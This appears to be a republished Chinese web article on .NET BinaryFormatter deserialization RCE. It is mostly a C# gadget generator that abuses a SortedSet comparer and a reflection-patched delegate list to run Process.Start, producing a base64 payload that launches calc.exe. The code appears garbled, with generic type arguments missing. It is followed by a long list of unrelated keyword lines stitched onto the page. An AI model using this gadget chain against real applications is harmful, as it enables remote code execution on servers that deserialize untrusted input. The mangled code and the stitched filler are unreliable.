.Net反序列化漏洞之BinaryFormatter
发表于:2025-01-19 作者:千家信息网编辑
千家信息网最后更新 2025年01月19日,https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html.Net反序列化导致RCE的样例,有
千家信息网最后更新 2025年01月19日.Net反序列化漏洞之BinaryFormatter
https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html
.Net反序列化导致RCE的样例,有两点限制:
- BinaryFormatter::Deserialize反序列化的内容用户可控
- .Net SDK大于等于4.5
using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Reflection;using System.Runtime.Serialization.Formatters;using System.Runtime.Serialization.Formatters.Binary;using System.Text;using System.Threading.Tasks;namespace Deserializer{ class Program { public static void getCalcPayload() { // Create a simple multicast delegate Delegate d = new Comparison(String.Compare); Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d); // Create set with original comparer IComparer comp = Comparer.Create(d2); SortedSet set = new SortedSet(comp); set.Add("calc"); set.Add("adummy"); TypeConfuseDelegate(d2); BinaryFormatter formatter = new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple }; using (MemoryStream stream = new MemoryStream()) { formatter.Serialize(stream, set); int position = (int)stream.Position; byte[] array = stream.GetBuffer(); Array.Resize(ref array, position); String payload = Convert.ToBase64String(array); Console.WriteLine("Calc.exe PayLoad:" + payload); //FileSystemUtils.Pullfile(payload, "payload_calc.dat"); stream.Position = 0; formatter.Deserialize(stream); } } static void TypeConfuseDelegate(Comparison comp) { FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); object[] invoke_list = comp.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func(Process.Start); fi.SetValue(comp, invoke_list); } static void Main(string[] args) { getCalcPayload(); } }}
序列
内容
用户
限制
漏洞
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
php删数组数据库txt
但是数据库是通勤
全世界根服务器
高级数据库管理工程师在哪报名
搜新智家 服务器
数据库需求分析包括哪些方面
数据库的高并发
网络安全和计算机科学与技术
服务器静态路由如何查询
软件开发的品名
985软件开发博士工资待遇
征途服务器维护
绝境求生服务器
关于国家网络安全的党史
塔科夫奥地利服务器怎么样
服务器时间调整
网络技术总监怎么样
lol端游服务器分布图
如何安装win数据库
linux php服务器
局域网一定要买服务器吗
incites数据库简介
软件开发规模估算
南京苹果软件开发公司
新昆网络安全
服务器公网ip如何使用
软件开发FW
网络安全与辟谣
海通证券网络技术
自考财务软件开发与数据库技术